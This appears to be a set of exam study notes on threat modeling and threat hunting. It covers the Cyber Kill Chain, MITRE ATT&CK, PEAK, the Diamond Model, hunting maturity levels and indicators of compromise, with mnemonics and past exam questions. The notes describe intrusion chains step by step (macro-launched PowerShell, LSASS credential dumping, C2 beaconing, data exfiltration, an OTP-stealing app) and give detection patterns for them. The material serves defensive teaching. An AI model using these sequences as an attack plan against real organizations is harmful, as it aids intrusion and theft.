| Credential stuffing, then account takeover | high | critical: direct financial loss, regulatory breach | P1, fix immediately |
| API abuse, then unauthorized data access | medium | critical: GDPR breach, regulatory fines | P1, fix immediately |
| Session hijacking | medium | high: account takeover, reputational damage | P2, fix before launch |
| Man-in-the-middle | low | high: data interception, credential theft | P2, fix before launch |
| Insider fraud | low | high: financial loss, regulatory scrutiny | P3, mitigate with controls |
| Third-party gateway compromise | low | medium: payment redirection, customer impact | P3, mitigate with controls |
Which model when:
| Point | STRIDE | DREAD | PASTA | MITRE ATT&CK |
|---|---|---|---|---|
| What it is | threat categories: a checklist | a rating scheme | a full, seven-stage process | a knowledge base of real attacker behavior |
| Centered on | the software design | each threat's severity | business risk and the attacker | observed adversaries |
| Output | threats for each diagram element | a score for each threat | countermeasures ranked by business impact | techniques to model, detect and test |
| Used by | developers and architects | the team setting priorities | security, risk and business together | SOC, red teams, threat modelers |
They combine: STRIDE finds threats, DREAD rates them, PASTA wraps both inside a business process, and ATT&CK feeds its stage IV.
- a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief. 2082 internal Q7
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and PASTA threat models in brief. 2081 Bhadra Q7 · 10
3.3The Cyber Kill Chain
The Cyber Kill Chain: seven links an attacker must complete TOP 4/4
83 int · 82 Bh · 82 int · 81 Bh105
As the deck puts it, the model shows the sequential stages an adversary must complete to execute an attack successfully, and so gives defenders a structured map of where to detect, disrupt or respond at each stage. The class notes call it a model for the identification and prevention of cyber intrusion activity.
| Stage | Definition (the deck's words) | The deck's intrusion | Detect or break it with |
|---|---|---|---|
| 1. Reconnaissance | gathering information about the target before any attack begins: people, email addresses, technologies, exposed services | the attacker scrapes LinkedIn to identify IT staff, then uses Shodan to find exposed RDP ports | web and firewall logs of scanning; less public exposure; threat intelligence |
| 2. Weaponization | packaging a payload and an exploit into a deliverable weapon (coupling an exploit with a backdoor), on the attacker's own systems; the class notes' example is a malicious PDF | a macro-based backdoor embedded in a Word document | nothing to log: intelligence on the actor's tooling, malware analysis, detections for its artifacts |
| 3. Delivery | transmitting the weapon to the target: email, web, USB | a phishing email to a finance employee with the Word document attached | email gateway, attachment sandbox, web proxy, user awareness |
| 4. Exploitation | triggering the exploit to execute code on the victim's system | the employee opens the document; the macro runs and exploits a vulnerable Office version | patching, blocking macros, exploit protection, EDR |
| 5. Installation | establishing persistence, so that access survives reboots and discovery | the malware writes itself to the Windows registry Run key and drops a remote access trojan (RAT) | EDR, autorun and file integrity monitoring, application allow-listing |
| 6. Command and control (C2) | opening a channel for the attacker to control the compromised system remotely | the RAT beacons out to an attacker-controlled server over HTTPS every 60 seconds | egress filtering, DNS and proxy analysis, network detection of beaconing, C2 blocklists |
| 7. Actions on objectives | carrying out the ultimate goal of the attack: steal, encrypt, destroy, move further | the attacker exfiltrates the company's customer database over the C2 channel | DLP, segmentation, watching outbound volume, backups |
Answers: the seven stages of the Cyber Kill Chain, in order, the list all three sittings asked for.
How it decodes: Seven words, seven stages, initials in order, and no letter is used twice. It reads as Ramesh saw the WiFi and turned up, his dignity completely dropped: an attacker who will do anything for a way in.
- RRamesh Reconnaissance: research the target's people and exposed services
- WWiFi Weaponization: exploit plus backdoor, built on the attacker's own machine
- DDekhera Delivery: email, web link or USB
- EEkdam Exploitation: the exploit fires and runs code
- IIjjat Installation: persistence that survives a reboot
- CChhodera Command and control: the channel back to the attacker
- AAaipugyo Actions on objectives: steal, encrypt or destroy. Aaipugyo, he has arrived where he wanted to be
To remember it: follow a made-up scam on a wallet user. The scammer collects students' numbers from a college Facebook group (reconnaissance), hides a remote access trojan inside a fake "Khalti cashback" app (weaponization) and sends its download link by SMS (delivery); the victim installs it and taps Allow on every permission (exploitation); it hides its icon and starts again with the phone (installation), forwards every OTP message to the scammer's server (command and control), and at 2 AM the wallet is emptied (actions on objectives).
Courses of action. The original paper pairs every stage with six defender actions taken from information operations doctrine: detect, deny, disrupt, degrade, deceive, destroy. At the command and control stage, for example:
| Detect | Deny | Disrupt | Degrade | Deceive |
|---|---|---|---|---|
| a network intrusion detection system spots the beacon | a firewall rule blocks the server | an inline intrusion prevention system cuts the session | a tarpit slows the channel | DNS lookups are redirected to a sinkhole |
How understanding the kill chain aids detection, response and mitigation. It moves a team beyond reacting to single alerts: instead of only finding "a virus", analysts can say which stage the attacker has reached.
- Aiding threat detection: each stage leaves different evidence in different logs
(scans in firewall logs, phishing in mail logs, persistence in endpoint logs, beacons in DNS
and proxy logs), so the model tells analysts where to look and shows the stages no control
watches.
- Early detection stops an attack before compromise: network monitoring for port scans detects reconnaissance, and email security gateways detect delivery.
- Late-stage detection finds an active breach: monitoring outbound traffic for unusual beaconing, or connections to known malicious IP addresses, detects command and control.
- Indicators found at one stage, a sender or a C2 domain, become detections for the same actor's next campaign.
- Aiding incident response: the stage reached sets the priority and the playbook.
- Prioritization: a phish blocked at delivery is a low-priority incident; established C2 is critical and high priority, because the attacker is already inside with remote control.
- Targeted response: a delivery incident is met by searching for and deleting the same phishing email from other inboxes; a C2 incident by blocking the malicious IP at the firewall at once, to sever the attacker's connection, and isolating the host.
- Actions on objectives trigger the full incident response process, perhaps a breach notification.
- Working backwards from the stage detected finds the entry point and the scope.
- Aiding threat mitigation: the model's greatest strength is showing that an attack
is a chain, so breaking any single link stops the adversary; that justifies a multi-layered
defense in depth, with controls mapped stage by stage to show where
defenses are thin:
- Mitigating delivery: user awareness training and email security filters.
- Mitigating exploitation: a robust patch management program, which removes the vulnerability the attacker planned to exploit.
- Mitigating installation: endpoint anti-malware and application allow-listing (whitelisting) policies.
- Mitigating C2: egress (outbound) firewall rules that block all traffic except known-good ports and destinations, so the malware cannot "call home".
- Mitigating actions on objectives: DLP, segmentation and backups.
Limitations:
- Linear and outside-in: built around malware entering from outside, so it describes insider threats, credential abuse, cloud and web application attacks poorly.
- Blind start: the first two stages happen out of the defender's sight.
- Thin after the break-in: discovery, privilege escalation and lateral movement are squeezed into two stages. MITRE ATT&CK fills that gap (next), and Paul Pols' Unified Kill Chain (2017) merges the two ideas into 18 phases.
- Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation. 2083 internal Q3 · 5
- Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting. 2082 Bhadra Q3 · 10
- Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation. 2082 internal Q3
- Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation. 2081 Bhadra Q3 · 10
- What is the Cyber Kill Chain? List and briefly describe at least four of its seven stages. How does the MITRE ATT&CK framework provide a more detailed view of adversary actions compared to the Cyber Kill Chain? Notes prediction, ch 3 Q3 · 4+4
3.4MITRE ATT&CK
MITRE ATT&CK: a knowledge base of how attackers operate HOT 1/4
82 Bh10
The name: ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge. It is free, open and globally accessible.
Built from observation, not theory. Every technique is documented from observed, real-world attack data and public reports, and linked to the groups and malware seen using it. That makes it empirical rather than theoretical, and continuously updated. It is not a threat modeling methodology: it is a threat intelligence reference library that feeds threat modeling, detection and hunting.
- Tactics are the columns of the matrix, the why: the adversary's goal, such as Initial Access (TA0001), Persistence, Privilege Escalation, Credential Access, Exfiltration.
- Techniques are the cells, the how: the specific method that achieves a tactic, such as Phishing (T1566), pass-the-hash, Command and Scripting Interpreter (T1059), and, in the class notes' examples, Boot or Logon Autostart Execution and Brute Force.
- Sub-techniques are granular variations of a technique: Spearphishing Attachment (T1566.001), PowerShell (T1059.001).
- Procedures are the specific implementations, the "how-to" actually seen: "the group sent a Word document whose macro ran an encoded PowerShell command".
- Around them: groups, software (malware and tools), campaigns, mitigations and detection guidance, all cross-linked.
- Matrices: Enterprise (Windows, macOS, Linux, cloud, network, containers), Mobile and ICS (industrial control systems).
To remember it, think of cricket: the tactic is the bowler's goal, take a wicket; the techniques are the ways to get one, a yorker, a bouncer, a googly; and the procedure is how one particular bowler really does it, two outswingers first and then the yorker at the stumps. ATT&CK is the scorebook of every bowler's procedures, kept so batsmen can prepare.
The Enterprise tactics, in the order an intrusion tends to use them:
| # | Tactic | The adversary is trying to | # | Tactic | The adversary is trying to |
|---|---|---|---|---|---|
| 1 | Reconnaissance | gather information to plan | 9 | Credential Access | steal account names and passwords |
| 2 | Resource Development | set up infrastructure, accounts, tools | 10 | Discovery | learn the environment |
| 3 | Initial Access | get into the network | 11 | Lateral Movement | move through the environment |
| 4 | Execution | run malicious code | 12 | Collection | gather the data it wants |
| 5 | Persistence | keep its foothold | 13 | Command and Control | communicate with compromised systems |
| 6 | Privilege Escalation | gain higher permissions | 14 | Exfiltration | steal the data |
| 7 | Stealth | avoid being noticed | 15 | Impact | manipulate, interrupt or destroy systems and data |
| 8 | Defense Impairment | disable or degrade security controls |
ATT&CK in practice, the deck's small snapshot: three tactics, a few of their techniques each.
| Tactic | Techniques on the slide |
|---|---|
| Execution | Command and Scripting Interpreter (T1059); Scheduled Task/Job (T1053); User Execution (T1204); Native API (T1106) |
| Persistence | Registry Run Keys (T1547.001); Scheduled Task/Job (T1053); Create Account (T1136); Boot/Logon Autostart (T1547, Boot or Logon Autostart Execution) |
| Exfiltration | Exfil Over C2 Channel (T1041); Exfil Over Web Service (T1567); Automated Exfiltration (T1020); Exfil Over Alt. Protocol (T1048, Exfiltration Over Alternative Protocol) |
One technique, two tactics: Scheduled Task/Job sits under both Execution and Persistence, because a scheduled task can run code now and also bring it back after every reboot. A technique is listed under every tactic it can serve.
- Technique: attackers commonly run malicious commands through PowerShell or
cmd.exeinstead of dropping a custom binary, which leaves no new file for a hash to catch. - Hunt hypothesis: if this technique is in play, PowerShell will be seen spawned by an unusual parent process, such as Word or Excel.
- Action: query EDR or Sysmon for process trees that match the pattern: exactly the osquery example and worked hunt 2 of 3.7 (queries, worked hunts).
How a SOC analyst maps an intrusion, step by step:
- Collect the observed facts: the alert, the EDR process tree, the logs.
- Classify each behavior: ask what the attacker was trying to achieve (the tactic) and how (the technique), and look up its ID.
- Lay them on the matrix in order, for example as an ATT&CK Navigator layer, to see the attack path.
- Read the neighbors: which techniques usually follow, so the hunt knows where to look next, and which groups use this combination, a hint towards attribution.
- Check coverage: for each technique, is there a detection and a mitigation? Each gap becomes a detection engineering task.
| What was observed | Tactic | Technique |
|---|---|---|
| a phishing email with a Word attachment | Initial Access | Spearphishing Attachment (T1566.001) |
| the user opens it and the macro runs | Execution | User Execution: Malicious File (T1204.002) |
| the macro starts an encoded PowerShell command | Execution | PowerShell (T1059.001) |
| a registry Run key is added | Persistence | Registry Run Keys / Startup Folder (T1547.001) |
| passwords are dumped from memory | Credential Access | LSASS Memory (T1003.001) |
| PsExec reaches other servers over admin shares | Lateral Movement | SMB/Windows Admin Shares (T1021.002) |
| an HTTPS beacon every 60 seconds | Command and Control | Web Protocols (T1071.001) |
| the database leaves over the beacon | Exfiltration | Exfiltration Over C2 Channel (T1041) |
Seven uses, from the deck:
- Threat modeling input: evidence-based attacker behavior replaces generic brainstorming, as in PASTA stage IV (threat analysis), so the threats are grounded in real-world data.
- Red teaming and penetration testing: red teams plan simulations that mirror real adversary behavior, so tests are realistic and relevant.
- Security gap analysis: map existing controls to the matrix to see which techniques can be detected or prevented, and which leave the organization exposed.
- Detection engineering: blue teams write SIEM and EDR rules technique by technique, for coverage against known attacker methods.
- Incident response: during or after an incident, what the attacker did, which stage it reached, and which lateral movement or persistence techniques it used.
- Threat intelligence: correlate threat actor profiles, such as APT groups, with the techniques they are known to use, and defend first against the most relevant adversaries.
- Security awareness and training: a common language for red teams, blue teams and management to discuss threats in a structured, consistent way.
ATT&CK compared with the Cyber Kill Chain:
| Point | Cyber Kill Chain | MITRE ATT&CK |
|---|---|---|
| Shape | linear: seven stages in a fixed order | a matrix: 15 tactics (14 before 2026) and hundreds of techniques, used in any order and repeated |
| Detail | high level: "the attacker is at installation" | specific: "registry Run key persistence, T1547.001, as used by this group" |
| Basis | a conceptual model | empirical: built from observed intrusions |
| After the break-in | squeezed into installation, C2 and actions | spread over discovery, credential access, privilege escalation, lateral movement and collection, each a tactic |
| Best for | explaining an attack, planning defense in depth | detection engineering, hunting, gap analysis, red teaming |
An example of the difference: the kill chain's Delivery is one box. ATT&CK's Initial Access alone lists techniques such as phishing, drive-by compromise, exploiting a public-facing application, valid accounts, supply chain compromise and external remote services, each with sub-techniques, known users and detection advice.
And because its techniques are TTPs, detection built on ATT&CK works at the top of the Pyramid of Pain.
- Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting. 2082 Bhadra Q3 · 10
- What is the Cyber Kill Chain? List and briefly describe at least four of its seven stages. How does the MITRE ATT&CK framework provide a more detailed view of adversary actions compared to the Cyber Kill Chain? Notes prediction, ch 3 Q3 · 4+4
- What is the MITRE ATT&CK framework? Explain how a SOC analyst uses its tactics and techniques to map an intrusion, with an example. Predicted, ch 3 Q2 · 4+6
3.5Threat hunting methodologies
Threat hunting: searching for the attacker no alarm caught HOT 1/4
82 Bh10
The deck's definition is the widely cited industry one (CrowdStrike, Rapid7): the proactive process of searching for undetected threats, attack behaviors and vulnerabilities across an organization's environment, before they cause damage. In plain terms: actively going looking for the attacker who did not trip any alarms. The deck's section title sums up the shift: from reactive to proactive defense.
The deck's opening scene: the SOC dashboard reads "no threats detected": firewall clean, antivirus silent, zero alerts. Everything looks fine, or does it? The data has been leaving the network for months. Hunting exists for that gap.
Assume breach, explained. Prevention fails sometimes: a phishing click, a zero day, a stolen password. So the question changes from "are we compromised?" to "if an attacker were here, where would they be and what would they be doing?", and the hunter goes looking for the traces that behavior must leave, like a detective rather than a guard.
To remember it: alert triage is waiting for the son to own up to a bad result. Threat hunting is the mother who assumes the marksheet is already hidden somewhere (assume breach) and checks under the mattress, inside the school bag and behind the cupboard, because she knows where children hide things: her hypothesis comes from knowing the attacker's habits.
Why it is needed, with the figures the deck cites:
- Ransomware attacks rose 105% worldwide in 2021 (SonicWall).
- A data breach cost 4.24 million dollars on average (IBM, 2021).
- Median dwell time was 21 days in Mandiant's M-Trends 2022, far below the 99 days of 2016 but still three weeks of unobserved access.
The core gap: automated tools catch known, signature-based patterns; skilled attackers live off the land, using legitimate tools such as PowerShell, PsExec and WMI that carry no malware signature; and human-driven attacks adapt to evade static rules.
How hunting helps, four ways:
- Finds what tools miss: novel and human-driven attacks that evade automated, signature-based detection.
- Shrinks dwell time: attackers are found and contained sooner, with less time to move laterally or steal data.
- Surfaces hidden gaps: visibility blind spots and weak processes. Even a hunt that finds nothing is valuable: it proves coverage or exposes a gap.
- Improves detection: findings feed back into tuning, and every successful hunt is turned into an automated rule for next time.
Its importance, in the class notes' words: it detects gaps in defenses, finds sophisticated threats, and improves SOC efficiency.
| Point | Alert triage | Threat hunting | Incident response |
|---|---|---|---|
| Starts from | an alert a tool raised | a hypothesis, intelligence or an anomaly; no alert | a confirmed incident |
| Stance | reactive | proactive | reactive |
| Question | is this alert real? | is an attacker here that we missed? | how do we contain and recover? |
| Output | an alert closed or escalated | findings, new detections, known gaps | a contained incident, lessons learned |
Prerequisites for successful threat hunting, the deck's company-level readiness:
- Mature logging and visibility: "you can't hunt what you can't see", so endpoints, network, identity and cloud must be logged (log sources, the visibility triad).
- An established baseline of "normal": needed to see what is anomalous.
- Dedicated, trained analysts: skills in the domain, the technology and the process.
- Threat intelligence access: context on current TTPs to build hypotheses from.
- Leadership buy-in: time and resourcing to hunt, not just "put out fires".
- A repeatable methodology: a structured process, not ad hoc, one-off searches.
- Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting. 2082 Bhadra Q3 · 10
- Define Threat Hunting and its guiding principle of 'assume breach'. Describe the three types of threat hunting hypotheses: Awareness-based, Intelligence-based, and Analytics-driven. Notes prediction, ch 3 Q4 · 2+6
The threat hunting lifecycle: from trigger to better detection PREDICTED
The five steps, with one hunt carried through them. The hypothesis: attackers here are running PowerShell from Office documents.
- Trigger or hypothesis: from threat intelligence, an anomaly, an ATT&CK technique or a risk to a crown jewel, written as a testable statement: "if a macro-based intrusion happened here, Word or Excel will have started PowerShell on some endpoint in the last 30 days."
- Investigate: gather and query the data: Sysmon process creation events (Event ID 1) from every endpoint, EDR process trees; the tools are SIEM searches and osquery.
- Uncover: look for patterns and outliers and decide: 3 of 2,000 hosts show
winword.exestartingpowershell.exewith an encoded command. A known finance add-in, or an attack? The hypothesis is confirmed or refuted. - Respond: confirmed threats go to incident response: isolate the hosts, reset the credentials, block the C2 domain, preserve the evidence.
- Inform: document the hunt, turn the query into a SIEM rule so the pattern alerts automatically next time, update the playbook, record visibility gaps (laptops without Sysmon), and feed new hypotheses back to step 1.
To remember it: the loop is a visit to the doctor. A symptom or a family history raises a suspicion (trigger), tests are ordered (investigate), the reports show what is wrong, or that nothing is (uncover), treatment starts (respond), and the doctor adds the test to every similar patient's routine checkup from then on (inform).
Why a loop: each hunt's output is the next hunt's input, and the value builds up as automated detections. The more often the loop turns, the fewer things the SOC has to find by hand (maturity).
The class notes' "how to hunt" gives the same work as six practical steps:
- Identify data sources: which logs could show the behavior?
- Assess data quality: complete, correctly timestamped, kept long enough?
- Baseline systems: what does normal look like?
- Interpret threat reports: intelligence that suggests what to look for.
- Generate and execute a hunt hypothesis.
- Perform post-hunt activities: document, remediate, create detections.
Steps 1 to 4 prepare the trigger, step 5 is investigate and uncover, and step 6 is respond and inform. PEAK names the same three stretches prepare, execute and act.
Every hunt ends in one of three results: a threat found (escalate it); nothing found, the hypothesis refuted (coverage is now proved); or inconclusive because the data was missing (a visibility gap to fix before the next hunt).
- Describe the threat hunting lifecycle with a diagram. Explain the PEAK threat hunting framework and the three types of hunt it defines. Predicted, ch 3 Q4 · 5+5
How a hunt starts: hypothesis, intelligence, analytics, awareness PREDICTED
The deck's three approaches:
| Point | Hypothesis-driven | Intelligence-driven | Analytics-driven |
|---|---|---|---|
| Trigger | an idea about attacker behavior, often an ATT&CK technique | new intelligence: IoCs, TTPs, a report on an active campaign | outliers flagged by statistics or machine learning |
| Example | "if an attacker got in, they would use PowerShell for lateral movement: look for unusual PowerShell across endpoints" | "a new APT report lists five malicious IPs: search our logs for any connection to them" | "UEBA flags an account logging in at 3 AM from a new country: investigate" |
| Pyramid level | top: TTPs | mostly the bottom (IoCs), unless the report gives TTPs | behavior and anomalies |
| Strength | finds unknown attacks; lasting detections | fast, concrete, immediately actionable | scales over huge data; finds what nobody thought to look for |
| Weakness | only as good as the hypothesis and the hunter | reactive; IoCs expire within days | noisy; needs a good baseline; an outlier is not always malicious |
The three hypothesis types in the class notes' question, which follow Sqrrl's hunting framework:
- Awareness-based (situational awareness): built from knowledge of one's own environment: which assets are most valuable (crown jewel analysis), where the weak points are, recent changes. Example: "the payment server is our crown jewel: who logged into it outside the maintenance window this month?"
- Intelligence-based: built from outside intelligence: threat reports, IoC and IoA feeds, malware analysis, vulnerability news. Example: "the VPN flaw a ransomware group exploited last week exists on our gateway: look for signs of its exploitation in the VPN logs."
- Analytics-driven: built from structured frameworks, models, statistics, machine learning, artificial intelligence and UEBA, which surface anomalies and patterns in large data sets. Example: "the model flags a host whose DNS names are far more random than its peers': is it talking to generated domains?"
To remember the three: picture a police inspector before Tihar. He puts his men outside the gold shops of New Road first, because that is where the value is (awareness-based); he raids a room because an informer says a gang meets there tonight (intelligence-based); and he questions the man the CCTV software flags for walking past the same shop forty times (analytics-driven).
The class notes' three hunting methodologies divide the same ground by what the hunter starts from:
| Methodology | Starts from | What the hunter does |
|---|---|---|
| Unstructured hunting | an indicator of compromise (IoC): a suspicious file, IP address or domain | investigates the IoC to find its source, scope and impact, searching before and after it for related activity |
| Structured hunting | an indicator of attack (IoA), or a threat actor's TTPs | studies known threat actor methodologies, for example in MITRE ATT&CK, and searches the network for those specific behaviors |
| Situational, or hypothesis-driven hunting | a hypothesis or "what if" question, from situational awareness ("what are the biggest threats to my industry?") or from analytics | tests the hypothesis against the data, as in the two examples further down |
The same families under other names, which the class notes also use:
| Family | Also called | Starts from |
|---|---|---|
| Hypothesis-driven | structured hunting (based on IoAs and TTPs); PEAK's hypothesis-driven hunt | the known methods of attackers, usually from ATT&CK |
| Intelligence-driven | intelligence-based; unstructured hunting when it starts from a single IoC | an indicator or report: search before and after it for related activity |
| Analytics-driven | anomaly-based; PEAK's model-assisted hunt (M-ATH) | statistics, machine learning, UEBA outliers |
| Situational awareness | awareness-based; situational or entity-driven hunting | the organization's own risk assessment: crown jewels, key accounts |
A good hypothesis is specific, testable with data the organization actually has, and tied to an attacker behavior. The class notes' two examples:
- Covert C2 in TLS: attackers are concealing C2 traffic in encrypted TLS or SSL sessions; statistical analysis of the traffic (session timing, sizes, destinations) can identify these covert channels.
- User-Agent string stacking: parse and identify every User-Agent string (UAS) in the proxy logs and count each one; statistical anomalies may indicate malware. A browser's User-Agent is shared by thousands of hosts, while malware often sends a hard-coded, misspelled or outdated string that sits at the rare end of the count (stacking).
In practice the approaches mix: an intelligence report prompts a TTP hypothesis that is then tested with statistics. They are starting points, not separate teams.
- Define Threat Hunting and its guiding principle of 'assume breach'. Describe the three types of threat hunting hypotheses: Awareness-based, Intelligence-based, and Analytics-driven. Notes prediction, ch 3 Q4 · 2+6
PEAK: prepare, execute and act, with knowledge PREDICTED
The deck's four boxes, one line each:
- Prepare: define a hypothesis, scope the hunt, gather the required data access.
- Execute: run the investigation: query the data, test the hypothesis.
- Act: respond to the findings: escalate to IR, document, remediate.
- Knowledge: capture the learnings and feed them into detection rules, future hunts and the team's knowledge base.
The phases in full, as Splunk lists the steps of a hypothesis-driven hunt:
| Phase | Steps | In the lifecycle |
|---|---|---|
| Prepare | select a topic, research it, generate a hypothesis, scope the hunt, plan (data access, time box) | trigger or hypothesis |
| Execute | gather the data, pre-process it, analyze, refine the hypothesis, escalate critical findings at once rather than at the end | investigate, uncover |
| Act | preserve the hunt (queries and data), document the findings, create detections, put the topic back on the backlog if needed, communicate the findings | respond, inform |
| Knowledge | intelligence, business context and past hunts going in; lessons, detections and playbooks coming out | every step |
Scoping a hypothesis with ABLE, PEAK's checklist:
- Actor: the threat actor or type of actor (optional).
- Behavior: the specific activity, the TTP.
- Location: the part of the network where it would be seen.
- Evidence: which data sources would show it, and what it would look like there.
Example: Actor, a financially motivated group; Behavior, dumping credentials from
LSASS memory (T1003.001); Location, the Windows servers of the finance network; Evidence,
Sysmon Event ID 10 (process access) with lsass.exe as the target and an unusual
process as the source.
To remember ABLE: scope a hunt for the phone thief in a hostel. Actor: an outsider dressed as a delivery man; Behavior: walking into rooms left unlocked at lunchtime; Location: the second floor, nearest the stairs; Evidence: the gate's visitor register and the corridor CCTV between noon and two. Without all four the hunt is just wandering the corridors.
The three hunt types PEAK formalizes, which the deck maps directly onto the three approaches of the previous card:
| Type | What it is | Example | The deck's approach |
|---|---|---|---|
| Hypothesis-driven | test one specific idea about adversary behavior | the LSASS hypothesis above | hypothesis- and intelligence-driven |
| Baseline | exploratory data analysis: learn what normal looks like in one data source, then look into the deviations | list every parent and child process pair on the servers for 30 days, and review the rare ones | analytics-driven (statistics) |
| Model-assisted (M-ATH) | a machine learning model surfaces candidates, which the hunter then examines | a model that scores DNS names for randomness finds algorithmically generated domains | analytics-driven (machine learning) |
Why PEAK matters: it builds on the older Sqrrl hunting loop and the TaHiTI framework, adds the baseline and model-assisted hunt types, and insists on documentation, so that hunts can be repeated and turned into detections (HMM2 and above).
- Describe the threat hunting lifecycle with a diagram. Explain the PEAK threat hunting framework and the three types of hunt it defines. Predicted, ch 3 Q4 · 5+5
The Diamond Model: four corners of every intrusion event PREDICTED
| Feature | Meaning | The deck's phishing intrusion | The pivot question |
|---|---|---|---|
| Adversary | the actor: the operator at the keyboard, and the customer who benefits | a financially motivated criminal group | what else has this actor done? (intelligence reports) |
| Capability | the tools and techniques used | a malicious macro in an invoice attachment | where else has this malware appeared? (hash and YARA searches) |
| Infrastructure | the means of delivery and control: IP addresses, domains, email accounts, servers | the C2 server IP the macro calls | which domains share this IP, and which of our hosts contacted it? (passive DNS, proxy logs) |
| Victim | the target, both a persona (person, organization) and an asset (host, account, data) | the finance employee who opened it | who else received the email? (mail logs) |
To remember it: think of a stolen motorbike. The thief is the adversary, his master key the capability, the scrap dealer who buys the parts the infrastructure, and you the victim. The police find the scrap dealer, his yard leads to other stolen bikes, their owners lead to more victims, and the dealer's phone leads to the thief: every corner found opens the next. That is pivoting.
The model's first axiom says it formally: for every intrusion event there exists an adversary taking a step towards an intended goal by using a capability over infrastructure against a victim to produce a result.
Meta-features describe each event further: timestamp, phase (the kill chain stage), result (success or failure, and which of confidentiality, integrity and availability it hit), direction (for example victim to infrastructure), methodology (such as spear phishing) and resources (the money, skills, tools and access the event needed).
Two axes cross the diamond: the social-political axis from adversary to victim (why this victim? the motive and intent) and the technology axis from capability to infrastructure (how the tools reach the target).
- A hunter finds one C2 IP address in the proxy logs (infrastructure).
- Passive DNS shows three more domains pointing at that IP (more infrastructure).
- Proxy logs show two more internal hosts contacting those domains (more victims).
- A sample from one host is matched by a YARA rule to a known remote access trojan (capability).
- Intelligence reports tie that trojan to a named group (adversary).
One indicator has grown into a campaign picture, and every step is a query.
With the kill chain: each stage of an intrusion is one event with its own diamond; linking them in kill chain order gives an activity thread, and similar threads across several victims form an activity group, a campaign or an actor. The deck puts it this way: each kill chain stage can be plotted as its own diamond.
In hunting it is, as the deck says, a lens for analyzing what is found mid-hunt: it structures findings, shows which corner is still unknown (capability and victim are known, infrastructure is not: go and look), and makes intelligence consistent to share.
- Explain the Diamond Model of Intrusion Analysis with an example. Describe the five levels of the Hunting Maturity Model (HMM). Predicted, ch 3 Q5 · 5+5
The Hunting Maturity Model: HMM0 to HMM4 PREDICTED
| Level | Name | How it hunts | Routine data collection | Example |
|---|---|---|---|---|
| HMM0 | Initial | relies almost entirely on automated alerting (IDS, SIEM, antivirus); little or no proactive hunting | little or none | a SOC that only works its alert queue |
| HMM1 | Minimal | incorporates threat intelligence: searches for the indicators (IoC searches) in threat intelligence reports and feeds | moderate to high | takes the IPs and hashes from an advisory and searches the SIEM |
| HMM2 | Procedural | follows established hunting procedures that others created, with small changes | high to very high | runs a published "Office starting PowerShell" hunt every month |
| HMM3 | Innovative | creates new data analysis procedures in-house, with statistics and machine learning | high to very high | builds its own analysis of DNS name randomness for its network |
| HMM4 | Leading | automates most successful hunting procedures into analytics, so hunters keep moving to new ones: continuous improvement | high to very high | every successful hunt becomes a scheduled detection |
Answers: the names of the five levels, HMM0 to HMM4, in order.
How it decodes: Five words, five levels, initials in order, the first word for HMM0. It reads as Uncle Ishwor hid the panipuri in Itahari. Two I's: Ishwor, the first word, is Initial; Itaharima, the fourth, is Innovative.
- IIshwor Initial, HMM0: automated alerts only, hardly any hunting
- MMaama Minimal, HMM1: searches for the IoCs in intelligence reports
- PPanipuri Procedural, HMM2: follows hunting procedures that others wrote
- IItaharima Innovative, HMM3: creates its own analysis procedures
- LLukaunubhayo Leading, HMM4: automates its successful hunts
To remember it: think of a shopkeeper and fake 1,000 rupee notes. At HMM0 he finds out only when the bank rejects his deposit; at HMM1 he checks each note against a list of serial numbers known to be fake; at HMM2 he follows the checking routine on a bank's poster; at HMM3 he invents his own test after studying the fakes he has caught; and at HMM4 a counting machine runs his test on every note by itself, leaving him free to look for the next trick.
Reading the model:
- Two things rise together: data (visibility) and analysis. No level can be reached without the data it needs, which is why "you can't hunt what you can't see".
- HMM1 is the first real hunting, but it hunts at the bottom of the Pyramid of Pain; from HMM2 up, hunts target TTPs.
- HMM4 is not more hunting but less repeated hunting: automation takes over what was found, freeing the hunters for the next unknown. It is the inform step of the lifecycle and PEAK's "create detections" done systematically.
- Using it: assess the current level, then plan the next. Moving from HMM1 to HMM2, for example, means collecting endpoint process data and adopting published playbooks.
- Explain the Diamond Model of Intrusion Analysis with an example. Describe the five levels of the Hunting Maturity Model (HMM). Predicted, ch 3 Q5 · 5+5
3.6Anomalies and indicators of compromise
Indicators of compromise, and indicators of attack PREDICTED
IoCs answer "what happened?"; IoAs answer "what is happening, and why?". An IoC is what the attacker left behind; an IoA is what the attacker must do. That is why IoCs are matched against logs to find past or known compromises, while IoAs are watched for in real time to stop attacks nobody has seen before. The class notes put it the same way: IoCs are "point in time" artifacts left after a compromise and used to identify incidents retrospectively; IoAs are real-time suspicious behaviors during an ongoing attack, such as a process spawning a remote shell, and focus on why something is happening, not just what happened.
To remember it: the broken lock and the muddy footprints found in the hostel corridor next morning are IoCs, evidence that someone got in. A man at 2 AM trying every door handle along the corridor is an IoA: the intent, caught while it is happening, whoever he is and whatever shoes he wears.
Kinds of indicator, from the Lockheed Martin kill chain paper (with the class notes' fourth):
| Kind | What it is | Examples | Pyramid level |
|---|---|---|---|
| Atomic | a single, discrete value that cannot be broken down further | an IP address, a URL, a domain, an email address, a CVE number | bottom |
| Computed | derived by calculation or analysis from data in an incident | a file hash, a regular expression, the randomness of a DNS name; the notes add network traffic patterns and user behavior analytics | bottom to middle |
| Behavioral | atomic and computed indicators combined into a pattern describing the actor's actions | "a macro starts PowerShell, which downloads a file and then connects out every 60 seconds"; the notes: C2 communication, lateral movement, data exfiltration | top |
| TTP | the attacker's overall tactics, techniques and procedures: its tools, methods and strategies | "dumps LSASS, then moves with PsExec to the file servers" | top |
Where IoCs are found:
| Where | Examples |
|---|---|
| Network | IP addresses, domains, URLs, unusual ports, regular beacon timing, rare User-Agent strings |
| Host | registry keys, file paths, mutex names, new services and scheduled tasks, unexpected admin accounts |
